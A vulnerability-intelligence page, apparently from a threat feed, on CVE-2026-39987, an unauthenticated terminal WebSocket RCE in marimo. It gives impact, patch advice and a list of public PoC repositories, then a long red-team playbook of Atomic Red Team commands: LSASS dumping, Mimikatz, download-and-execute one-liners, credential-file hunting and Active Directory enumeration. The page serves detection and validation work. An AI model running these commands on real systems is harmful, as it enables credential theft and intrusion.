CVE-2026-39987
Overview
This vulnerability is an authentication bypass in the marimo reactive Python notebook's WebSocket terminal interface. The root cause lies in the /terminal/ws endpoint, which omits the required authentication validation by skipping the validate_auth() call. Instead, it only verifies the running mode and platform support before establishing connections, exposing the terminal WebSocket to unauthenticated access.
Vulnerability Description
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
Impact
An unauthenticated attacker with network access to the marimo server can exploit this flaw to obtain a fully interactive PTY shell, enabling arbitrary command execution on the host system. This requires no user interaction or credentials, as the authentication step is skipped. The attacker can execute system-level commands, potentially leading to full system compromise, data exfiltration, or service disruption. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability.
Solution
Users of marimo should upgrade to version 0.23.0 or later, where the authentication bypass in the /terminal/ws WebSocket endpoint is corrected. Detailed patch information and remediation instructions are available in the official GitHub security advisory GHSA-2679-6mx9-h9xc and the related pull request #9098. Applying the updated version ensures validate_auth() is properly invoked, restoring authentication checks for terminal WebSocket connections.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the reactive Python notebook, Marimo, presents a significant security risk due to its pre-authentication remote code execution (RCE) flaw. Specifically, the issue lies within the WebSocket endpoint designated for terminal interactions, which fails to enforce proper authentication checks. Unlike other WebSocket endpoints that implement a robust validation mechanism to ensure that only authenticated users can access sensitive functionalities, the terminal endpoint merely assesses the running mode and platform compatibility. This oversight allows any unauthenticated user to establish a connection and gain access to a full pseudo-terminal (PTY) shell, thereby enabling the execution of arbitrary system commands on the host machine.
The exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage tools to establish a WebSocket connection to the vulnerable endpoint, bypassing any authentication requirements. Once connected, the attacker can execute commands that may include installing malicious software, exfiltrating sensitive data, or manipulating system configurations. The simplicity of this attack, combined with the lack of necessary safeguards, makes it particularly appealing to threat actors. Furthermore, the potential for lateral movement within a network increases, as attackers can exploit the compromised system to pivot to other connected devices or services.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on the Marimo platform for development or data analysis. The high CVSS score of 9.3 indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of intellectual property, and significant operational disruptions. For businesses, the financial ramifications could be substantial, encompassing costs related to incident response, system recovery, and reputational damage. Additionally, organizations may face regulatory scrutiny and compliance issues, particularly if sensitive data is compromised.
To address this vulnerability, organizations must implement comprehensive detection and mitigation strategies. First and foremost, upgrading to the latest version of Marimo, which includes the necessary security patches, is crucial. Regularly updating software and maintaining an inventory of all deployed applications can help organizations stay ahead of potential vulnerabilities. Furthermore, employing network segmentation and access controls can limit exposure to critical systems, ensuring that only authorized users can access sensitive endpoints. Monitoring network traffic for unusual patterns, such as unauthorized WebSocket connections, can also aid in early detection of exploitation attempts.
In conclusion, the pre-authentication RCE vulnerability in the Marimo Python notebook underscores the importance of robust authentication mechanisms in application design. Organizations must remain vigilant in their cybersecurity practices, ensuring that all software components are regularly updated and that security measures are in place to protect against exploitation. By adopting a proactive approach to vulnerability management, businesses can mitigate risks and safeguard their digital assets against potential threats.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the CVE-2026-39987 vulnerability in the Marimo Python notebook. Our telemetry indicates a significant rise in unauthorized connection attempts to the unauthenticated /terminal/ws WebSocket endpoint, reflecting increased attacker interest and potential reconnaissance activity. Although no new exploit variants or proof-of-concept code have been identified, the elevated EPSS score corroborates a growing likelihood of exploitation in the wild. This trend underscores the vulnerability’s criticality, as the pre-authentication remote code execution vector remains an attractive entry point for adversaries seeking full system compromise without prior access. Consequently, the threat level associated with this vulnerability has intensified, warranting heightened vigilance from defenders monitoring network traffic and endpoint behavior for anomalous WebSocket connections indicative of exploitation efforts.
Update 2 — April 20, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-39987, accompanied by the emergence of multiple new proof-of-concept exploits publicly available on GitHub. This proliferation of exploit code has broadened the attack surface, enabling a wider range of adversaries—including less technically sophisticated actors—to leverage the unauthenticated WebSocket endpoint vulnerability in marimo notebooks. Our telemetry indicates that exploitation activity has intensified rapidly, reflecting increased attacker interest and operationalization. The elevated EPSS score further corroborates this trend, signaling a heightened probability of successful compromise in the wild. This development significantly amplifies the threat landscape, as the vulnerability’s pre-authentication remote code execution capability allows adversaries to obtain full system shells without prior access, facilitating lateral movement and persistent footholds. Consequently, the overall risk rating for CVE-2026-39987 should be considered substantially higher, necessitating increased monitoring for anomalous WebSocket connections and exploitation indicators within affected environments.
Update 3 — May 14, 2026
CSURFACE threat intelligence has identified several critical developments regarding CVE-2026-39987 that substantially elevate its threat profile. The vulnerability’s inclusion in the CISA KEV catalog formalizes its recognition as a high-priority risk, with a mandated remediation deadline underscoring urgency for affected organizations. Concurrently, the CVSS score was revised upward to 9.8, reflecting a consensus on the exploit’s severe impact and ease of exploitation. Notably, the Exploit Prediction Scoring System (EPSS) value surged dramatically, placing this vulnerability in the 0.99th percentile for likelihood of exploitation and signaling a rapidly expanding attacker interest. Despite a marked reduction in detection telemetry, the exploit landscape has broadened with the emergence of multiple new proof-of-concept tools publicly available on GitHub, lowering the technical barrier for adversaries to weaponize the flaw. This paradox of declining detection but increasing exploit availability suggests attackers are shifting tactics, possibly favoring stealthier or more targeted campaigns. For defenders, these changes mean that while overt scanning or exploitation attempts may appear less frequent, the risk of successful compromise remains critically high due to the vulnerability’s pre-authentication remote code execution capability and the growing arsenal of exploitation resources. Consequently, the overall threat level for CVE-2026-39987 should be considered at its peak, demanding heightened vigilance and prioritization in vulnerability management workflows.
Update 4 — June 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-39987, accompanied by the emergence of additional proof-of-concept exploits circulating within attacker communities. Our telemetry indicates a sustained upward trend in exploit development and deployment, reflected in the elevated EPSS score nearing maximum risk levels. This intensification underscores a growing attacker focus on leveraging the unauthenticated WebSocket endpoint vulnerability in marimo notebooks, which allows full remote code execution without credentials. The expanded exploit toolkit lowers the barrier for adversaries to conduct successful intrusions, increasing the likelihood of widespread compromise. Consequently, the threat level associated with CVE-2026-39987 has risen to critical, reinforcing its status as a top priority for defensive operations and continuous monitoring.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Coreweave | Marimo | All |
cpe:2.3:a:coreweave:marimo:*:*:*:*:*:python:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (12)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
M3PH1569/CVE-2026-39987-POC
CVE-2026-39987 Exploitation Tool - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)
|
M3PH1569 | 1 | 0 | 2026-05-24 | View |
|
Nxploited/CVE-2026-39987
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability
|
Nxploited | 0 | 1 | 2026-04-18 | View |
|
0xBlackash/CVE-2026-39987
CVE-2026-39987
|
0xBlackash | 0 | 1 | 2026-04-12 | View |
|
jenniferreire26/CVE-2026-39987
|
jenniferreire26 | 0 | 0 | 2026-06-02 | View |
|
HORKimhab/CVE-2026-39987
CVE-2026-39987 - Draft
|
HORKimhab | 0 | 0 | 2026-05-30 | View |
|
0xdeadroot/CVE-2026-39987-marimo-rce
CVE-2026-39987
|
0xdeadroot | 0 | 0 | 2026-05-16 | View |
|
rootdirective-sec/CVE-2026-39987-Lab
|
rootdirective-sec | 0 | 0 | 2026-05-04 | View |
|
Dhiaelhak-Rached/CVE-2026-39987-lab-or-marimo-cve-lab
|
Dhiaelhak-Rached | 0 | 0 | 2026-04-26 | View |
|
h3raklez/CVE-2026-39987
Marimo Pre-Auth RCE
|
h3raklez | 0 | 0 | 2026-04-25 | View |
|
keraattin/CVE-2026-39987
CVE-2026-39987: Marimo Python Notebook Pre-Auth RCE (CVSS 9.3). Python & Nmap NSE detection scripts. Missing authenticat...
|
keraattin | 0 | 0 | 2026-04-15 | View |
|
mki9/CVE-2026-39987_exploit
|
mki9 | 0 | 0 | 2026-04-13 | View |
|
fevar54/marimo_CVE-2026-39987_RCE_PoC
CVE-2026-39987 - Marimo < 0.23.0 Pre-Auth RCE (WebSocket) PoC de explotación - Conecta a /terminal/ws sin autenticación ...
|
fevar54 | 0 | 0 | 2026-04-13 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
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Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed — vendor: Marimo, product: Marimo
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-39987 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/marimo-team/marimo/pull/9098 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987 |
| sysdig.com |
NVD API
Exploit
Third Party Advisory
|
https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours |